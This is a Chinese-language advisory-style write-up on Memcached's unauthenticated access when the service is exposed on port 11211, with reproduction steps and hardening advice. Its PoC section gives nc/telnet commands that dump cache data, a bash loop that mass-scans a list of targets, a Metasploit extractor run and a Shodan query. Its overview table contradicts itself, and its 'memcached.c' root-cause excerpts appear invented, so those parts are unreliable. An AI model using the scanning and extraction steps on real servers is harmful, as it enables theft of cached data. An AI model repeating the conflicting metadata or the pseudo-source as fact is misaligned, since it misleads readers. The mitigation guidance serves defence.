一、漏洞简介

1.1 漏洞背景

Memcached 是一款高性能的分布式内存对象缓存系统,广泛应用于加速动态 Web 应用程序。其设计初衷是在内网环境中使用,默认情况下不启用身份认证机制。许多管理员在部署时直接将 Memcached 服务暴露在公网,导致攻击者可以未经授权访问缓存数据,甚至写入恶意数据。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 暂无统一编号
危害等级 暂未找到权威信息
漏洞类型 未授权访问漏洞
披露时间 暂未找到权威信息
影响组件 Memcached 安全
属性 描述
CVE编号 无特定 CVE(设计缺陷)
危害等级 高危
CVSS评分 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
漏洞类型 配置错误/未授权访问
影响组件 Memcached 服务端

核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。

二、影响范围

2.1 受影响的版本

  • Memcached 所有版本(在未正确配置的情况下)

2.2 不受影响的版本

  • 启用了 SASL 认证并正确配置的版本
  • 绑定在 127.0.0.1 或内网 IP 的版本
  • 通过防火墙限制访问的版本

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Memcached 服务监听在公网 IP(0.0.0.0 或具体公网 IP)
  2. 未启用 SASL 身份认证机制
  3. 防火墙未限制 11211 端口的访问来源
  4. 未使用 -l 参数绑定到本地地址

三、漏洞详情与原理解析

3.1 漏洞触发机制

Memcached 默认以无认证模式运行,使用简单的文本协议或二进制协议。攻击者只需通过网络连接到 Memcached 服务的 11211 端口,即可执行以下操作:

# 连接测试
telnet target_ip 11211

# 查看所有键
stats items
stats cachedump <slab_id> <limit>

# 读取数据
get <key_name>

# 写入数据
set malicious_key 0 0 5
hello

# 删除数据
delete <key_name>

# 获取统计信息
stats

3.2 源码层面的根因分析(结合源码与补丁对比)

Memcached 的设计哲学强调性能优先,在 memcached.c 主程序中:

// 默认监听配置
if (settings.inter == NULL) {
    // 默认监听所有接口
    settings.inter = strdup("0.0.0.0");
}

// SASL 认证默认禁用
settings.sasl = false;

在连接处理函数中,没有内置的身份验证拦截:

// conn_new_cmd 状态处理
case conn_new_cmd:
    // 直接进入命令处理,无认证检查
    if (--nreqs >= 0) {
        reset_cmd_handler(c);
    } else {
        // ... 处理下一个连接
    }
    break;

四、漏洞复现(可选)

4.1 环境搭建

# 在目标服务器上安装 Memcached
sudo apt-get install memcached

# 启动服务(默认配置,暴露在公网)
sudo memcached -d -u memcache -p 11211

# 验证服务状态
netstat -tlnp | grep 11211

4.2 PoC 演示与测试过程

# 从攻击机探测目标
nmap -sV -p 11211 target_ip

# 连接并枚举数据
echo "stats" | nc target_ip 11211
echo "version" | nc target_ip 11211

# 批量检测脚本
#!/bin/bash
for ip in $(cat targets.txt); do
    echo "[*] Testing $ip"
    result=$(echo "stats" | nc -w 2 $ip 11211)
    if [[ $result == *"STAT"* ]]; then
        echo "[!] $ip is vulnerable!"
        echo $ip >> vulnerable.txt
    fi
done

使用 Metasploit 模块:

msfconsole
use auxiliary/gather/memcached_extractor
set RHOSTS target_ip
run

五、修复建议与缓解措施

5.1 官方版本升级建议

此漏洞属于配置问题,无特定版本修复。建议:

  1. 启用 SASL 认证(需要重新编译或使用支持包)
  2. 升级到最新版本以获取更好的安全默认配置

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:绑定本地地址

# 修改启动参数
memcached -d -u memcache -l 127.0.0.1 -p 11211

# 或修改 /etc/memcached.conf
-l 127.0.0.1

方案二:防火墙限制

# iptables 规则
iptables -A INPUT -p tcp --dport 11211 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 11211 -j DROP
iptables -A INPUT -p udp --dport 11211 -j DROP

# firewalld 规则
firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="10.0.0.0/8" port protocol="tcp" port="11211" accept'
firewall-cmd --reload

方案三:启用 SASL 认证

# 安装 SASL
sudo apt-get install sasl2-bin libsasl2-modules

# 配置 /etc/sasl2/memcached.conf
pwcheck_method: auxprop
auxprop_plugin: sasldb
mech_list: plain login

# 创建用户
sudo saslpasswd2 -a memcached -c cacheuser
sudo chown memcache:memcache /etc/sasldb2

# 启动带认证的 Memcached
memcached -S -d -u memcache

六、参考信息 / 参考链接

6.1 官方安全通告

  • Memcached 官方文档: https://docs.memcached.org/
  • Memcached SASL 配置指南: https://github.com/memcached/memcached/wiki/SASLHowto

6.2 其他技术参考资料

  • Rapid7 未授权访问检测: https://www.rapid7.com/db/modules/auxiliary/gather/memcached_extractor
  • Shodan 搜索语法: port:11211